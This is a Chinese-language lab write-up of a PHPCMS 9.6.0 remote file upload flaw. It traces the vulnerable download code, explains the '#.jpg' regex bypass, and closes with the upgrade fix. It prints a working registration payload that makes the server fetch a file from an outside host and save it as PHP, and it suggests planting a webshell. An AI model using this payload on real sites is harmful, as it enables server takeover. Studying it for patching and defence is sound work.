0x01 漏洞介绍
PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。
##漏洞影响
文件上传可获取服务器权限
安装步骤
点击开始安装
一直点下一步,这里点第一个这里只要填自己的数据库账号密码和邮箱即可
后台账号密码貌似默认是:phpcms/phpcms等待中....
登陆后台的账号密码默认为phpcms/phpcms
像这样就安装成功了
代码分析
咱们先看看简化之后的poc
小伙伴们不难发现,这个poc是先发起了一个注册请求。其次在date的info字段里写入公网服务器的shell地址,被服务器读取到,从而上传至uploadfile。如何做到的?先看看/phpcms/modules/member/index.php文件中的register函数
我的目录结构是这样的,大家按照自己的来就好
打开文件之后,回头看poc的payload在$_POST['info']中
我们定位到info的位置,更进一下,看看到底发生了什么才导致漏洞的产生看到上面截代码的这一行require_once CACHE_MODEL_PATH.'member_input.class.php';
该函数位于caches/caches_model/caches_data/member_input.class.php中,接下来函数走到如下位置:
由于我们的 payload 是info[content],所以调用的是editor函数,同样在这个文件中:接下来的函数,执行$this->attachment->download函数进行下载的。
所以我们继续跟进,在phpcms/libs/classes/attachment.class.php文件中:在143-186行中
因为缩小了好像看不见,所以我贴出来了
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
小伙伴们,注意这一段$ext = 'gif|jpg|jpeg|bmp|png'
还有这一段if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
看到if,有一个正则匹配需要满足src/href=url.(gif|jpg|jpeg|bmp|png)
所以这就是为什么我们的payload是这样的。<img src=http://192.168.123.130/phpinfo.txt?.php#.jpg>
因为程序会去除url中的锚点,经过$remotefileurls的处理,#.jgp就会被去除,
这也是为了绕过正则而要加的#.JPG
为了绕过正则而添加的.jpg。.jpg被去除后,就会变成.php后缀文件
##实战
在测试之前,我们需要先准备一台虚拟机/服务器,要开启web服务,在web服务中写入phpinfo或者php一句话木马都行
往里边写phpinfo
你看我这种的,就代表着以及在web服务上写入txt文件
把上面步骤做好了,就可以开始了
点击注册先在会员注册的地方随便写点内容,
点击注册抓包
然后把我构建好的payload,覆盖掉我们注册信息上siteid=1&modelid=11&username=test2&password=test2123&email=test2@163.com&info[content]=<img src=http://192.168.123.130/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=
访问这个回显的绝对路径去机器上查看,也是存在的,因为我这边做了好几次,所以存在七八个phpinfo 哈哈哈
修复方法
把phpcms升级至9.6.1即可